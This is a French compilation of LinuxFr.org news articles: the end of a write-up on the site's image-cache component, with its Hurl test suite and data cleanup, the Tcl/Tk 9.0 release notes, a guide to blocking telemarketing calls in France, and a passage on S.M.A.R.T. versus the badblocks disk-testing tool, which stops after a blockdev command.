        Pour l’utiliser, c’est assez simple, il faut aller dans le répertoire tests et lancer un docker-compose up --build, qui va produire le conteneur contenant img, et démarrer le redis et le nginx préconfigurés pour les tests. Si tout va bien, on attend, et au bout d’un moment il s’affiche :

        linuxfr.org-img-test_1  | All tests look good!
        tests_linuxfr.org-img-test_1 exited with code 0
        

        Rentrons un peu dans les détails.

        D’abord un fichier docker-compose.yaml qui décrit le réseau IPv4/IPv6 utilisé pour les tests, l’image redis qui sera utilisée (stockage géré par docker), l’image nginx qui sera utilisée avec sa configuration et ses fichiers à servir pour les tests, l’image img et son paramétrage (dont l’accès au redis et au nginx) ainsi que le répertoire du cache et enfin l’image de la suite de tests qui est construit avec son Dockerfile, prévue pour faire du Docker-in-Docker et avoir accès au cache img et aux fichiers nginx.

        Le Dockerfile de tests est basé sur une image Hurl (un outil pour faire des tests HTTP). On ajoute les fichiers de tests en .hurl, le script shell qui pilote le tout, on prévoit d’avoir les paquets dont on aura besoin : bash (pas par défaut dans les Alpine), coreutils, docker et xxd (pour les conversions texte vers hexadécimal). Et on lance les tests par défaut.

        La configuration nginx de test écoute en HTTP sur le port 80 en IPV4 et IPv6 et permet de définir des chemins avec des réponses en HTTP 301, 302, 308, 400, 401, 403, etc. jusqu’à 530 et même 666 pour les codes invalides, ainsi qu’une redirection infinie.

        Dans les données de tests servies par nginx, on trouve des contenus du mauvais type, une image destinée à être bloquée, des images dans divers formats, une image très grande en pixels mais pas trop en octets, une image trop grande en octets, et un avatar à servir par défaut.

        Sont aussi présents cinq fichiers de tests avec une extension en .hurl :

        • le test de vie et les chemins hors img/ et avatars/
        • les tests sur les avatars : adresse valide ou invalide, image inexistante, bon et mauvais types, comportements sur les différents codes HTTP et sur une boucle de redirection infinie
        • les tests sur les images (découpés en trois parties, la partie initiale, la partie entre la récupération initiale et l’expiration du cache et enfin la partie après la récupération et l’expiration du cache.

        Vient enfin le script shell qui pilote le tout :

        • on définit les variables pour les cibles IPv4/IPv6 et les binaires redis et img que l’on veut utiliser dans les autres conteneurs Docker
        • on liste les images dans différentes catégories :
          • celles qui vont échouer et ne comporteront donc qu’une entrée dans redis sans rien dans le cache disque (avec sous-catégories possibles bloquées/non-bloquées)
          • les images devant être en erreur
          • les images qui iront normalement dans le cache
        • on prépare des images qui seront altérées plus tard
        • on purge le cache sur disque, on nettoie redis et on déclare toutes nos images comme le faire le code Ruby on Rails. Certaines sont déclarées bloquées pour les tests.
        • on lance les premiers tests (en IPv4 et IPv6, en HTTP 1.1 et en HTTP 2.0)
        • on modifie certaines images pour simuler un changement sur le serveur externe, une suppression sur le serveur externe ou un blocage par l’équipe de site
        • on lance les tests post-récupération initiale mais avant l’expiration du cache (toujours avec toutes les variantes)
        • on force l’expiration du cache
        • on lance les tests post-expiration du cache (toujours avec toutes les variantes)
        • si on est arrivé jusqu’ici, c’est qu’on a passé tous les tests Hurl, alors maintenant on recompte ce que l’on a dans redis et sur disque et on vérifie si ça correspond à nos attentes
        • on nettoie les images mises volontairement en échec
        • on lance le test d’audit interne qui doit nous dire que tout va bien
        • si on est arrivé jusque-là on écrit que tout va bien et on déclenche un sourire de satisfaction.

        L’audit interne

        L’objectif est de vérifier la cohérence des données dans redis, si des images sont indisponibles ou si des entrées dans le cache disque ne correspondent plus à aucune image.

        Le binaire d’img peut donc être appelé en mode audit et lancer des contrôles internes.

        D’abord il collecte la liste des fichiers dans le cache disque.

        Ensuite il vérifie que toutes les images listées dans les dernières images (img/latest) existent comme entrées individuelles.

        Puis il vérifie s’il existe des images bloquées (il râlera s’il y en a) et si chacune existe comme entrée individuelle le cas échéant.

        Ensuite on parcourt tous les entrées individuelles d’images :

        • on râle si on tombe sur une entrée img/updated/ ou img/err/ sans date d’expiration
        • on râle si on tombe sur une entrée img/ sans champ created_at, sans type ou d’un type inconnu, sans checksum, avec un statut inconnu, une image bloquée non présente dans les images bloquées, un champ inconnu, une présence inattendue dans le cache disque, etc. Et on marque les images que l’on a vu passer comme attendu dans le cache.
        • on râle sur tous les fichiers du cache restants (ne correspondant à aucune image)
        • si on a râlé, on renvoie 1, sinon 0

        Le grand nettoyage

        img a fonctionné pendant 12 ans en production : il a rencontré des bugs, des comportements inattendus, des contenus et commentaires ont été supprimés ou réédités, etc. Il est donc probable qu’il y ait besoin d’aller dépoussiérer un peu tout cela et de retirer ce qui est inutile.

        Les traces du grand nettoyage sont d’abord visibles dans la rétrospective de la première quinzaine de septembre 2024 :

        • une « image » sur sept présente un souci (n’est pas une image, adresse invalide, trop grosse, etc.) et n’est donc pas dans le cache sur disque (ce qui a conduit à pas mal de taf sur la partie gestion des images)
        • les types de contenu (Content-Type) en provenance de sites variés et divers, c’est quelque chose… entre les « image/JPEG » ou « image/PNG » en majuscules parce que, les charset=utf-8 ou UTF-8 ou… sur du binaire, les name= qui ne sont pas dans la norme… Wikimedia renvoie aussi du profile="https://www.mediawiki.org/wiki/Specs/SVG/1.0.0" (pareil ça semble en dehors de tout standard).

        D’abord j’attaque le sujet la fleur au fusil en me disant que ça va passer crème, je fais un joli tableau qui résume l’état initial :

                                      img/<uri>   img/updated/<uri>   img/err/<uri>   blocked
        total                           25565 -21       634               160            5
        
        no created_at                      23 -23         0                 0            0
        created_at                       2857 -3          0                 5            1
        created_at+type                   222             0                 0            0
        total not in cache               3104 -26         0                 0            0
        
        created_at+type+checksum(+etag) 22463 +5        634               155            4
        
        files in cache                  22778 +5
        

        Donc on a officiellement 25 565 images, mais 23 sont mal créées (état théoriquement impossible hors race condition), 222 sont incomplètes (état théoriquement impossible race condition), 22 463 sont attendues en cache et on a 22 778 fichiers dans le cache. Ça part mal. Je nettoie en premier le plus facile (on voit le delta +/- de mes corrections). Et on arrive à une situation où une image sur sept présente alors un souci et il faut gérer un grand volume de corrections à faire.

        Parmi les soucis on trouve des types de contenus inattendus (image/PNG ou image/JPEG avec majuscules, image, des images binaires annoncées avec un charset, des types invalides comme image/jpg au lieu de image/jpeg, etc), des erreurs de notre lectorat (mauvais lien, mauvais copier-coller, lien vers une page web au lieu d’une image), mais aussi des espaces insécables et autres blancs inopportuns, des guillemets convertis, des doubles scheme (http://https:// ou http://file://).

        Après cela se cache une autre catégorie encore plus pénible : les images que l’on a en cache, mais qui ne sont plus utiles au site : par exemple celles qui étaient dans des contenus ou commentaires supprimés (notamment le spam), celles qui étaient dans des commentaires ou contenus réédités depuis, etc.

        Un problème connu est devenu vite pénible : on n’a pas d’association entre les images externes et les contenus/commentaires concernés. Donc il faut d’abord extraire la liste de toutes les déclarations d’images externes des 12 tables SQL où l’on peut trouver des images et des avatars, sous forme HTML ou Markdown.

        Ensuite il faut sortir toutes les entrées dans redis et regarder si on les retrouve en clair ou converties en hexadécimal dans l’extraction SQL.

        Et par sécurité on fera une double vérification pour celles détectées en erreur, en relançant une recherche en base (attention à la casse dans la recherche texte).

        Au final, on peut supprimer des milliers d’entrées redis et de fichiers dans le cache.

        Et un jour l’audit dit :

        Connection 127.0.0.1:6379 0
        2024/10/19 12:11:21 Sanity check mode only
        2024/10/19 12:11:37 Files in cache: 17926
        2024/10/19 12:11:39 Total img keys in redis: 18374
        OK
        

        Ça aura pris un mois et demi (l’audit a été fusionné le 8 septembre 2024), certes pas en continu, mais ça a été long et guère palpitant de faire ce grand ménage. Et j’ai refait une seconde passe du traitement complet la semaine d’après pour vérifier que tout se passait correctement et que les soucis résiduels après tout ça étaient minimes ou nuls.

        Parmi les anecdotes, Web Archive / archive.org a eu sa fuite de comptes utilisateurs et a été indisponible sur la fin (ce qui rendait compliqué la récupération d’images perdues ou leur remplacement par un lien valide par exemple). Et, mentionné dans la rétrospective de la seconde quinzaine de septembre 2024, un compte de spammeur de 2015 supprimé… mieux vaut tard que jamais : détecté parce que comme beaucoup de visiteurs, le spammeur ne fait pas la différence entre un lien vers un document et l’ajout d’une image.

        Les problématiques restantes

        Il y a la question habituelle de la montée de versions des dépendances (pour nous actuellement contraintes celles du code Ruby on Rails) et du remplacement des composants devenus non-libres (migrer vers valkey plutôt que redis ? Questions à se poser sur l’avenir de nginx ?).

        On pourrait aussi ajouter la prise en charge du TLS et d’un certificat X.509 directement dans img plutôt que dans un frontal. Mais ce n’est utile que si on les sépare sur deux serveurs distants, ce qui n’est pas le cas actuellement. Donc même si ça ne paraît pas compliqué à faire, ce n’est pas urgent.

        Ensuite une entrée de suivi existe pour séparer le cache des avatars du cache des autres images : les contraintes pour le cache des avatars étant différentes de celui des autres images, le stockage en cache devrait être différent. Cela reste un problème mineur. Le changement doit d’abord être fait côté Ruby on Rails pour définir les avatars avec des clés redis différentes (genre avatars/ au lieu de img/). Ensuite on peut modifier img pour séparer le traitement des requêtes HTTP /img/<adresse_hexa> vers les clés redis img/<adresse> et le cache disque des images par rapport aux requêtes /avatars/<adresse_hexa> vers les clés avatars/<adresse> et le cache des avatars. Il faudra aussi déplacer les avatars stockés dans l’actuel cache des images dans leur propre cache. Et là on devrait pouvoir avoir la même adresse dans les deux caches mais avec un rendu éventuellement différent.

        Un autre problème concerne la non-association des contenus ou commentaires avec les images externes qu’ils contiennent, ce qui rend l’administration des anciennes images un peu pénible. Le fait que les contenus et commentaires peuvent être réédités ou simplement prévisualisés (donc que des images peuvent être supprimées et d’autres ajoutées) vient compliquer un peu la tâche. Actuellement un ensemble de scripts permettent d’obtenir ces infos et fournissent un contournement, mais ça reste un peu laborieux.

        Un cache rafraîchi périodiquement conserve les images pour éviter de surcharger le site d’origine, pas si le site a changé, déplacé ou perdu l’image. La modification pour servir depuis le cache disque en cas d’échec de récupération couvre le cas de la disparition d’une image avec une erreur sur l’adresse, pas celui où le serveur répond une mauvaise image. Il y a donc une autre entrée de suivi images et disparition du web évoquant l’augmentation des soucis sur les images externes avec un cache rafraîchi, en raison des domaines récupérés par des spammeurs et autres pénibles, ou perdus ou utilisés pour du phishing (imageshack.us, après framapic, pix.toilelibre, etc.). Diverses problématiques sont mentionnées comme la perte d’information et donc la diminution de l’intérêt des contenus anciens, la prime aux pénibles du référencement SEO qui pourrissent le net en récupérant les vieux domaines, la modification possible des images publiées. Pour résoudre cela techniquement, ça nécessite de suivre les images et les domaines perdus, et d’intervenir de façon régulière. Ou bien de ne plus rafraîchir le cache (que cela soit jamais, après la publication ou au bout d’un certain temps après la publication). Pour juste éviter la perte d’info, il est possible de remplacer par une image locale récupérée d’une archive du net type archive.org, avec le côté « pénible à faire » et sans garantie que ça soit toujours possible (merci waybackpy).

        Enfin une troisième entrée de suivi suggère l'hébergement des images des dépêches (et éventuellement des journaux), idéalement en permettant d’avoir une version modifiée d’une image en changeant sa taille. On peut citer en vrac comme problématiques la responsabilité légale, l’éventuelle volumétrie, l’impossibilité de corriger une image publiée facilement par la personne qui l’a soumise, la centralisation et la perte de référencement pour des tiers, l’éventuelle rétroactivité et le traitement de l’historique, le fait qu’il faut traiter tous les autres contenus/commentaires pouvant accueillir des images, etc. Autre question, faut-il différencier les images passées en modération a priori de celles en modération a posteriori ?

        Conclusion ?

        Bref sans surprise, il reste des problématiques et du code à faire pour les gérer (c’est rare un composant sans demandes d’évolution ou de correction). Yapuka (mais probablement plus tard, il faut aussi partager le temps avec les autres composants, ou avoir plus de contributions).

        img apporte les fonctionnalités que l’on attendait de lui même si on pourrait faire mieux. Plonger dans ce composant s’est avéré assez intéressant et formateur (et nécessaire) : techniquement cela a été l’occasion de faire du Go, du docker et du docker-compose, du redis et du nginx, du hurl et de l’HTTP. Et de comprendre ce que faisait un code écrit par une autre personne, de se poser des questions pour choisir les tests et le contenu de la documentation, de se demander pour quelles raisons tel ou tel choix a été fait, de rendre ce composant plus « contribuable », et de compléter le tout de façon détaillée avec une dépêche. Reste à savoir si j’ai répondu à l’attente d’un article technique sur le fonctionnement de ce cache, les choix techniques qui ont été faits, les erreurs commises donc à éviter… et la réponse est à trouver dans les commentaires.

        Commentaires : voir le flux Atom ouvrir dans le navigateur

        • ✇LinuxFr.org : les dépêches
        • Sortie de Tcl/Tk 9.0
          Le Tcl Core Team (TCT) est heureux d'annoncer la sortie de la version 9.0 du langage de script Tcl et de la bibliothèque d'interface graphique Tk. C'est la première version stable de la branche Tcl/Tk 9.0 dont le développement a commencé en janvier 2013. Il y a quelques potentielles incompatibilités avec les précédentes versions même si la plupart des programmes fonctionneront sans retouches. lien nᵒ 1 : L'annonce pour Tcl sur comp.lang.tcllien nᵒ 2 : L'annonce pour Tk sur comp.lang.tcllien nᵒ 

        Sortie de Tcl/Tk 9.0

        2 octobre 2024 à 06:39

        Le Tcl Core Team (TCT) est heureux d'annoncer la sortie de la version 9.0 du langage de script Tcl et de la bibliothèque d'interface graphique Tk.
        C'est la première version stable de la branche Tcl/Tk 9.0 dont le développement a commencé en janvier 2013.
        Il y a quelques potentielles incompatibilités avec les précédentes versions même si la plupart des programmes fonctionneront sans retouches.

        Les principales nouveautés et améliorations de Tcl 9.0

        • Données en 64-bit : support des structures de données supérieures à 2 Go (variable, chaîne de caractères, tableau, liste et dictionnaire).
        • Support étendu d'Unicode : avec tous les emojis qui vont bien.
        • Système de fichier virtuel dans le langage : basé sur le format zip et permettant la lecture/écriture ou le montage/démontage.
        • Déclaration de constantes : const
        • De nouvelles commandes de listes : lpop, lremove, ledit et lseq
        • De nouvelles options pour les tableaux : array default et array for
        • De nouvelles commandes de coroutines : coroinject et coroprobe pour interagir avec une coroutine en pause.
        • Substitution avec script : possibilités d'attacher un script à la commande regsub
        • Notation décimale explicite : un entier pourra optionnellement être précédé du préfixe 0d pour indiquer sans ambiguïté qu'il est en notation décimale.
        • Notation de nombre : possibilité de noter un nombre entier avec des tirets bas (underscore) pour plus de clarté (1_000_001).
        • Changement de l'interface de notification d'événements : remplacement de select par epoll/kqueue.
        • Le tilde (~) n'est plus interprété comme le répertoire home.
        • L'encodage par défaut d'un script devient l'UTF-8.

        Les principales nouveautés et améliorations de Tk 9.0

        • Onglets de tous les côtés : haut/bas/droite/gauche et navigation avec la molette de la souris.
        • Accès au système de notification, à la barre des tâches et au gestionnaire d'impression : tk sysnotify, tk systray, tk print.
        • Texte dans une barre de progression : ttk::progressbar ... -text
        • Badge temporaire sur une icône : wm iconbadge
        • Image de fond dans un frame : frame ... -backgroundimage ... -tile ...
        • Support partiel du format SVG : image create photo ... -file test.svg
        • Accès aux métadonnées et au cannal alpha des images : image read/write/put/cget ... -metadata etimage get/put ... -to ...
        • Rotation des objets graphiques d'un canvas : canvas rotate ... x y angle
        • Support du défilement à deux doigts.

        Pour le reste des nouveautés

        • Un pythoniste (Marc Culler) fait partie du TCT pour faciliter le développement de TkInter.
        • Il n'y aura pas de version 8.7 officielle.
        • Tcl 9 bénéficie d'un nouveau logo dessiné par une graphiste (Valerie Carroll).

        Titre de l'image

        Commentaires : voir le flux Atom ouvrir dans le navigateur

        • ✇LinuxFr.org : les dépêches
        • Agir contre les appels commerciaux
          Sans aucun doute suite à une erreur de votre part, selon les spammeurs, vous avez laissé cochée une case autorisant la transmission de vos coordonnées à des « partenaires », et voilà que vous recevez des appels commerciaux non sollicités. En France, plusieurs dispositifs permettent de prévenir ces appels (pour d’autres pays, on laisse les francophones compléter dans les commentaires). lien nᵒ 1 : Bloctellien nᵒ 2 : SpamBLocker sur githublien nᵒ 3 : SpamBlocker sur f-droidlien nᵒ 4 : Décision de

        Agir contre les appels commerciaux

        Sans aucun doute suite à une erreur de votre part, selon les spammeurs, vous avez laissé cochée une case autorisant la transmission de vos coordonnées à des « partenaires », et voilà que vous recevez des appels commerciaux non sollicités. En France, plusieurs dispositifs permettent de prévenir ces appels (pour d’autres pays, on laisse les francophones compléter dans les commentaires).

        Sommaire

        Bloctel

        Créée en 2016 pour succéder à divers dispositifs pré-existants qui étaient censés limiter le spam téléphonique (liste orange pour interdire l’utilisation de l’annuaire pour collecter un numéro de téléphone, liste Pacitel respectée au bon vouloir des sociétés de démarchage), la plateforme Bloctel permet d’inscrire des numéros dans une liste gérée par un organisme indépendant (tout du moins depuis 2021, auparavant le service était géré par les démarcheurs eux-mêmes…). Les sociétés de démarchage ont l’obligation de transmettre leur liste de prospects à l’organisme, qui les expurgera des numéros dont les titulaires ont demandé le blocage. Une fois son compte créé sur Bloctel, on peut :

        • inscrire ou réinscrire des numéros dans la liste (cette inscription est à renouveler tous les 3 ans),
        • désinscrire des numéros précédemment inscrits,
        • signaler tout appel commercial reçu malgré son inscription dans la liste.

        Maintenir sa propre liste de démarcheurs

        Les ordiphones proposent tous une fonctionnalité de blocage de numéros de téléphone pour lesquels on ne veut pas être contacté. À chaque appel, on peut donc ajouter un numéro dans sa liste de blocage. Cependant, si on n’a pas répondu au téléphone il est difficile de savoir si l’appel manqué était légitime ou non, et donc s’il faut bloquer le numéro ou le rappeler… pour savoir ce qu’il en est, on peut chercher le numéro de téléphone directement dans un (meta-)moteur de recherche, on se verra proposer de nombreux sites qui offrent un espace de commentaires pour chaque numéro.

        L’ARCEP (Autorité de régulation des communications électroniques et des postes) a publié le 1ᵉʳ septembre 2023 une liste de numéros que les démarcheurs sont obligés d’utiliser pour émettre des appels : si on reçoit un appel depuis un de ces numéros, on peut considérer que c’est du spam. Cela concerne les numéros commençant par 0162, 0163, 0270, 0271, 0377, 0378, 0424, 0425, 0568, 0569, 0948 ou 0949 en zone +33 (France métropolitaine), 09475 en zone +590 (Guadeloupe, Saint-Martin, Saint-Barthélemy ), 09478 ou 09479 en zone +262 (La Réunion, Mayotte et autres territoires de l’Océan Indien), 09476 en zone +594 (Guyane) et 09477 en zone +596 (Martinique).

        Utiliser une application

        Des applications peu transparentes

        Il existe dans les magasins d’applications des téléphones Android et Iphone de multiples applications proposant qu’à chaque appel reçu son téléphone aille interroger une base de données sur le web pour identifier s’il s’agit d’un appel commercial puis d’agir en conséquence (rejet de l’appel par exemple). Chaque application peut cumuler plusieurs défauts, comme :

        • être elle-même initiatrice de publicité sur le téléphone (il est dommage de remplacer une forme de spam par une autre…),
        • nécessiter des droits démesurés sur le téléphone (à charge pour l’utilisateur de modifier ces droits si son téléphone et l’application le permettent),
        • manquer de transparence : toutes les informations des appels sont envoyées sur internet, ces données risquent d’être exploitées par d’autres démarcheurs,
        • consommer trop de batterie : l’application nécessite d’être exécutée en arrière plan, la consommation de batterie est donc continue et l’effet peut être significatif en ce qui concerne l’autonomie du téléphone.

        L’application SpamBlocker

        Les utilisateurs d’ordiphones basés sur AOSP (android, /e/, lineageOS, replicant, etc.) peuvent utiliser l’application SpamBlocker qui simplifie le blocage de numéros de téléphone en masse. Il s’agit d’un logiciel libre disponible gratuitement dans le dépôt par défaut de f-droid qui nécessite une liste restreinte de droits, qui n’incluent notamment pas l’accès à internet afin que vos informations personnelles restent en local sur le téléphone. Le blocage en masse de préfixes entiers de numéros de téléphones est rendu possible par la prise en compte des expressions rationnelles, par exemple si on ne veut pas être dérangé en Martinique, il suffit de mettre dans la liste noire l’entrée 5969477.* (les numéros doivent être saisis format international), et décider ce qu’on en fait (rejeter, laisser sonner dans le vide, décrocher/raccrocher). Voici la configuration à mettre en place pour la France métropolitaine :

        capture d’écran de la configuration de SpamBlocker incluant tous les numéros de France métropolitaine

        À l’usage, il n’est pas apparu de baisse d’autonomie d’un téléphone utilisant cette application.

        Et les SMS ?

        Les fonctionnalités de blocage des appels intégrées aux téléphones et à SpamBlocker peuvent aussi s’appliquer aux SMS. Il existe des plages de numéros de téléphone virtuels qu’il peut être tentant de bloquer, mais cela présente un risque de blocage de messages légitimes provenant d’utilisateurs d’applications utilisant de tels numéros. Il n’y a pas (encore ?) en France de norme en ce qui concerne les numéros de démarcheurs par SMS, il est cependant possible :

        • d’être désinscrit de la liste d’un démarcheur en envoyant « STOP » au numéro émetteur d’un de ses SMS,
        • de signaler un spam en transférant le message gratuitement au 33700 (on recevra par la suite un message demandant de préciser l’émetteur et l’heure du message).

        Commentaires : voir le flux Atom ouvrir dans le navigateur

        • ✇LinuxFr.org : les dépêches
        • S.M.A.R.T. badblocks badblocks2
          S.M.A.R.T. (Self-Monitoring, Analysis and Reporting Technology) est un système de surveillance intégré aux disques durs modernes et aux disques SSD. Il évalue en continu le bien-être du périphérique tout en anticipant les éventuels dysfonctionnements. Il utilise une réserve de secteurs de rechange pour réparer quand il détecte un secteur en anomalie. Le programme Linux badblocks teste les blocs d’un média par écriture+relecture+comparaison. À l’origine il servait à mettre les blocs mauvais en li

        S.M.A.R.T. badblocks badblocks2

        S.M.A.R.T. (Self-Monitoring, Analysis and Reporting Technology) est un système de surveillance intégré aux disques durs modernes et aux disques SSD. Il évalue en continu le bien-être du périphérique tout en anticipant les éventuels dysfonctionnements. Il utilise une réserve de secteurs de rechange pour réparer quand il détecte un secteur en anomalie.
        Le programme Linux badblocks teste les blocs d’un média par écriture+relecture+comparaison. À l’origine il servait à mettre les blocs mauvais en liste noire dans le file-system.

        Est-il utile de nos jours de vérifier ses médias ?
        Comment se situe S.M.A.R.T. par rapport à l’outil badblocks ?
        Comment vérifier un média en tenant compte de sa surveillance par S.M.A.R.T. ?

        C'est ce que nous allons voir dans la suite de la dépêche.

        smart-drive

        Sommaire

        Préambule

        Quelle précaution prendre vis-à-vis du risque de mauvaise qualité du stockage, quand je viens d’acheter un média (disque SSD, disque rotatif, clé USB, carte SD) ou un appareil sous Linux équipé d’un espace de stockage dont j’ignore la technologie ?
        Sans être parano, je me dis qu’avant d’envoyer des données précieuses sur l’espace de stockage, c’est le moment de faire certaines vérifications. Mais quelles vérifications ? Qu’est-il possible de faire ?

        Sur un média connectable, tout est possible.
        Sur un appareil neuf sans système ni données, tout est possible en utilisant une distrib Live.
        Sur les autres, ça dépend, il y en a où on n’a même pas un accès root pour lancer une vérification « dure » ou « molle » (Android, routeur…).

        En écrivant cet article, je me suis rendu compte que je ne me suis jusqu’ici jamais posé de questions sur l’opportunité de vérifier les espaces de stockage de mes téléphones, PC portables, routeurs, box… bref tous les appareils vendus prêts à être utilisés. Pourtant, que sais-je de la vérification faite par celui qui a installé le système ? Rien, et j’utilise, sans penser que l’espace de stockage de l’appareil n’est ni plus ni moins robuste que celui du PC Linux que j’ai installé dernièrement, mais que j’ai vérifié consciencieusement.

        S.M.A.R.T.

        S.M.A.R.T. est un système de surveillance intégré aux disques durs modernes et aux disques SSD. Il évalue en continu le bien-être du périphérique tout en anticipant les éventuels dysfonctionnements. Il surveille un maximum de paramètres (température, temps de fonctionnement, vitesse de rotation pour les disques magnétiques, nombre de démarrages et d’arrêts…) et dépend de l’expérience du fabricant. La réparation de secteurs utilise une réserve de secteurs et le mapping entre secteurs logiques et secteurs physiques.

        On pourrait se dire que, de nos jours, les supports sont fiables et testés par les intégrateurs. D’autres considèrent que la technologie S.M.A.R.T. suffit… et c’est bien commode de ne plus se soucier de la fiabilité des supports de stockage. Mais à la première galère due à un média défaillant, tu évolueras dans ta confiance.

        Sais-tu seulement sur lesquels de tes médias S.M.A.R.T. est installé et actif ?
        Si tu utilises un RaspberryPi, ton média système est… une carte SD. Elle n’a pas S.M.A.R.T.. Idem pour l’extension de mémoire que tu as ajoutée à ton téléphone.

        Je t’invite à lire la page Wikipedia sur S.M.A.R.T. et son paragraphe « Standard, implémentation et limitations ». Que fait et que ne fait pas le S.M.A.R.T. qui fonctionne sur le disque du PC qui te permet de lire cet article ? Difficile de savoir. Comment est-il configuré ? Fais un sondage autour de toi à ce sujet et tu seras pris pour un parano.

        Sur ton PC, sais-tu qu’il y a une option S.M.A.R.T. dans le BIOS (ou UEFI) ? Sais-tu qu’il y a un service smartd dans ton Linux ? As-tu compris aussi qu’avec du RAID il n’est pas toujours opportun d’activer S.M.A.R.T. ? Les communications entre S.M.A.R.T. RAID et l’O.S. peuvent se passer plus ou moins bien selon la qualité de ces éléments. Il te faut bien comprendre ce qu’il est possible de paramétrer et deviner comment ça marche derrière.

        Si tu demandes une vérification à S.M.A.R.T. par smartctl, sais-tu ce qu’il fait ? Se contente-t-il de lire ou fait-il un test en écriture ?

        Enfin, quand S.M.A.R.T. détecte qu’un secteur est devenu défectueux, il ne peut pas deviner quels bits sont défaillants, aussi il renseigne le secteur de secours avec ce qu’il peut, qui est l’état du secteur après défaillance. S.M.A.R.T. a ses limites, il répare comme il peut. S’il est configuré pour, il alerte quand il prévoit de la défaillance, mais sais-tu reconnaître ses alertes ? As-tu compris ce que tu dois faire en réponse aux alertes ?

        Je t’invite à apercevoir la complexité de prise en main de S.M.A.R.T. en faisant quelques recherches sur ces listes de mots :

        smartctl howto
        smartctl configure self test
        smartd howto
        

        et tu verras que ce n’est pas simple à comprendre et à configurer.

        Tu peux te dire naïvement que tout est bien configuré par défaut et que tes médias seront toujours impeccables. Sinon, il va falloir investir en temps et faire quelques essais. À toi de choisir.

        S.M.A.R.T. est une belle avancée technologique, mais il est dangereux de lui attribuer des mérites indus.

        BADBLOCKS

        Le programme Linux badblocks a été créé en même temps que le paquetage e2fsprogs (mkfs.ext2, mkfs.ext3, mkfs.ext4, fsck.ext2…). À l’époque S.M.A.R.T. n’existait pas et il n’y avait pas de mapping entre les adresses logiques et physiques. C’est le file-system qui devait tout gérer quand il détectait un bloc défectueux, notamment la mise du bloc en liste noire. C’est pour cela que mke2fs et e2fsck lancent un badblocks « dur » quand on leur spécifie deux fois l’option -c. Cela dure trèèès longtemps car les paramètres par défaut ne sont plus bien optimisés.

        Depuis l’arrivée de S.M.A.R.T., certains considèrent badblocks comme obsolète. Mais qui peut affirmer que TOUS les médias utilisés par TOUS les usages de Linux sont équipés de S.M.A.R.T. ?
        Peut-être qu’au M.I.T. avec un réseau de classe A, on ne s’abaisse pas à utiliser une clé USB ou un RaspberryPi. Je me demande dans quel type de bulle vivent ceux qui pensent que S.M.A.R.T. est sur tous les médias de stockage.

        Quand j’achète une clé USB, je lui passe badblocks dessus et s’il y a des mauvais blocs, je la rends et je me fais rembourser.
        J’ai essayé d’interroger les fonctionnalités S.M.A.R.T. de diverses clés USB et je n’ai rien obtenu, comme si cette utilité n’y était pas installée :

        # smartctl --scan-open
        # smartctl -x /dev/sdc
        # smartctl -i -d scsi -T verypermissive /dev/sdc
        

        Mes recherches sur Internet n’ont abouti à rien qui me permette de voir une réponse de la part de clés USB. Peut-être que si j’achetais (cher) des clés USB de très haute qualité, j’y trouverais S.M.A.R.T. ?

        Comme l’intervenant du message #25 de ce rapport de bug (en), je pense que badblocks est loin d’être obsolète.
        J’ai envie d’imiter le message #20 juste au-dessus en disant : « Je dois demander --- ***pourquoi*** vous (et d’autres personnes) mettez de l’essence dans vos voitures en 2024 ? L’essence en tant que chose a commencé à devenir inutile pour les voitures vers 2011, lorsque la voiture électrique s’est répandue, et que les batteries sont devenues suffisamment énergétiques pour faire rouler des véhicules sur des centaines de km ».

        Je t’invite aussi à une recherche sur la liste de mots « courbe en baignoire composants électroniques ». Le programme badblocks peut servir au déverminage. On sait en détail ce qu’il fait. Son résultat est clair, contrairement aux implémentations propriétaires de S.M.A.R.T..
        Sans déverminage (rodage) on court le risque de subir trop tôt une réparation discrète incomplète : le secteur réparé sera physiquement bon mais son contenu sera corrompu. La conséquence peut être catastrophiquement discrète. Par exemple, un fichier LibreOffice est une archive zip (compressée), la corruption d’un seul bit y a des conséquences imprévisibles.

        De mon côté, j’utilise badblocks pour tester les médias nouvellement acquis et pour effacer ceux bons à réformer. Ce programme permet aussi la chasse aux médias « fake-size », du genre carte SD de 1To qui accepte de recevoir 1To de fichiers, mais qui ne stocke en réalité que 8Go. On trouve de nos jours (juin 2024) des clés USB de 16To vendues au prix de 5 € ! L’application h2testw sous windows et son équivalent f3 sous linux sont spécialement conçus pour cette chasse. Le microprogramme de ces clés USB ou de ces disques a été détourné pour déclarer un espace de stockage falsifié. C’est de l’escroquerie.

        BADBLOCKS2

        Mon usage du badblocks du paquetage e2fsprogs-1.47.0 m’a amené à y caractériser un bug reproductible en novembre 2023. J’ai eu l’intention de remonter le bug aux équipes ad hoc de ma distribution (Mageia) mais je me suis d’abord mis à regarder le source.

        J’y ai trouvé l’origine du bug, et j’ai trouvé d’autres bugs. En ajoutant des instructions de traçage et de simulation d’erreurs du média, j’ai mis en évidence encore d’autres bugs. De fil en aiguille, j’ai fini par retoucher profondément certains algorithmes, et j’ai appelé badblocks2 cette nouvelle version. J’y ai ajouté diverses options faciles à programmer et commodes à l’usage. J’ai copieusement testé.

        Si tu veux essayer badblocks2 et/ou prendre connaissance de ma démarche, je livre tout sur mon site. Tu verras pourquoi je me suis rabattu sur la création d’une nouvelle version, plutôt que de faire remplacer l’ancienne (ce qui aurait profité à tous).
        Tu peux te faire une idée des fonctionnalités ajoutées en consultant les *.8.txt .
        Tu peux t’inspirer des tests décrits dans le fichier Alire.txt, tester diverses valeurs pour -c -t et voir l’effet sur la vitesse de traitement. Tu peux même jouer à arracher la clé en cours de test (Ctrl-C pour arrêter) !

        J’espère que ce programme servira à d’autres que moi.

        En pratique

        Voici une suggestion d’actions à faire lors de l’acquisition d’un nouveau média (disque SSD, disque rotatif, clé USB, carte SD…). Les commandes doivent être lancées par l’opérateur root.
        Avec cela, quand dans quelques années tu satureras le média, tu seras sûr que le dernier secteur utilisé aura été déverminé avant la mise en production.

        ATTENTION : les usages de badblocks proposés sont destructifs pour les données présentes sur le média. Le mode non-destructif du badblocks actuel comporte des bugs (version e2fsprogs-1.47.0). Celui de badblocks2 a été corrigé.
        ATTENTION : la liste des mauvais blocs renvoyée par le badblocks actuel est fausse (version e2fsprogs-1.47.0). Le nombre de mauvais blocs est correct. La liste renvoyée par badblocks2 est correcte.
        ATTENTION : le paramètre device du média est supposé être /dev/sdc. Ne pas se tromper, au risque d’effacer un autre média en cours d’usage.

        D’abord déterminer le block-size du noyau, c’est une bonne valeur à prendre comme block-size du file-system :

        # blockdev --getbsz /dev/sdc
        

        Dans ce qui suit, je suppose que la valeur 4096 a été renvoyée.

